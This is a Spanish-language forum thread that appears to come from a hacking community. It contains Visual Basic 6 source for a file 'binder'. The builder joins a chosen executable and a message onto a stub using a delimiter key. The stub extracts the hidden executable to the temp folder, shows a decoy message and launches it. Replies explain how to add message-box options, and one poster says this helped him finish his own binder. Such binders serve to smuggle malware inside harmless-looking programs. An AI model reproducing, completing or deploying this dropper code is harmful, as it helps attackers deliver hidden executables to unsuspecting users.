Código: Seleccionar todo
Private Sub Command1_Click()
With CD
.DialogTitle = "Elige el archivo"
.Filter = "Executables (*.exe)|*.exe"
.ShowOpen
End With
Text1.Text = CD.FileName
End sub
Private Sub Command2_Click()
Dim buffer1 As String
Dim buffer2 As String
Dim key As String
Open App.Path & "\Stub.exe" For Binary As #1
buffer1 = Space(LOF(1))
Get #1, , buffer1
Close #1
Open Text1.Text For Binary As #1
buffer2 = Space(LOF(1))
Get #1, , buffer2
Close #1
key = "Naker90"
Dim mensaje As String
mensaje = Text2.Text
Open App.Path & "\ArchivoFinal.exe" For Binary As #1
Put #1, , buffer1
Put #1, , key
Put #1, , buffer2
Put #1, , key
Put #1, , mensaje
Put #1, , key
Close #1
MsgBox "El mensaje se ha introducido con exito!",vbinformation, me.caption
End sub
Código: Seleccionar todo
Sub Main()
Dim buffer1 As String
Dim Archivo() As String
Dim key As String
key = "Naker90"
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
buffer1 = Space(LOF(1))
Get #1, , buffer1
Close #1
Archivo = Split(buffer1, key)
Open Environ$("tmp") & "\Archivotemporal.exe" For Binary As #1
Put #1, , Archivo(1)
Close #1
MsgBox Archivo(2)
Shell Environ$("tmp") & "\Archivotemporal2.exe", vbNormalFocus
End Sub
Nemesis escribió:Gracias Por su ayuda ya Esta .
Post Original: viewtopic.php?f=84&t=41807Metal escribió:Es fácil, mira:
Al escribir los datos en el resultante mediante PUT, añade también Check1.Value (Put #1, , Check1.Value).
En el stub al separar los datos, lees el contenido (0, 1 ó 2) = 0: unchecked; 1: checked; 2: grayed;
If Split(archivo1, Clavedeparticion)(11) = "1" Then
'Leemos los splits del título y mensaje.. [...]
Lo aplicamos al msgbox siguiendo algo similar a este ejemplo:
MsgBox ("hola"), vbCritical, "titulo"
Sustituimos "hola" por el split del Mensaje, con "título" hacemos lo mismo.
Ah, con vbCritical (o el que especifiques), hacemos lo mismo, añadimos otro Put #1, , combo1.text
Lo lees con splits igual y haces algo tipo:
TipoMensaje = cortararchivos(13) '13 teniendo en cuenta que has ido separando cada dato con un delimitador
if tipomensaje = "critical" then tipomensaje = vbCritical 'Ejemplo!
Quedando finalmente el msgbox tal que así:
MsgBox (Texto), TipoMensaje, Titulo
Se puede hacer de muchas maneras, espero que comprendas ésta xD.
Un saludo!
Janpr99 escribió:Buenas Nemesis, te dejo esta super explicacion de Metal, pues yo tambien tenia mis dudas y gracias a esa explicacion pude llevar a cabo mi binder (ya hace tiempo)
Post Original: viewtopic.php?f=84&t=41807Metal escribió:Es fácil, mira:
Al escribir los datos en el resultante mediante PUT, añade también Check1.Value (Put #1, , Check1.Value).
En el stub al separar los datos, lees el contenido (0, 1 ó 2) = 0: unchecked; 1: checked; 2: grayed;
If Split(archivo1, Clavedeparticion)(11) = "1" Then
'Leemos los splits del título y mensaje.. [...]
Lo aplicamos al msgbox siguiendo algo similar a este ejemplo:
MsgBox ("hola"), vbCritical, "titulo"
Sustituimos "hola" por el split del Mensaje, con "título" hacemos lo mismo.
Ah, con vbCritical (o el que especifiques), hacemos lo mismo, añadimos otro Put #1, , combo1.text
Lo lees con splits igual y haces algo tipo:
TipoMensaje = cortararchivos(13) '13 teniendo en cuenta que has ido separando cada dato con un delimitador
if tipomensaje = "critical" then tipomensaje = vbCritical 'Ejemplo!
Quedando finalmente el msgbox tal que así:
MsgBox (Texto), TipoMensaje, Titulo
Se puede hacer de muchas maneras, espero que comprendas ésta xD.
Un saludo!
PD: Si quieres nos ponemos en contacto y te ayudo
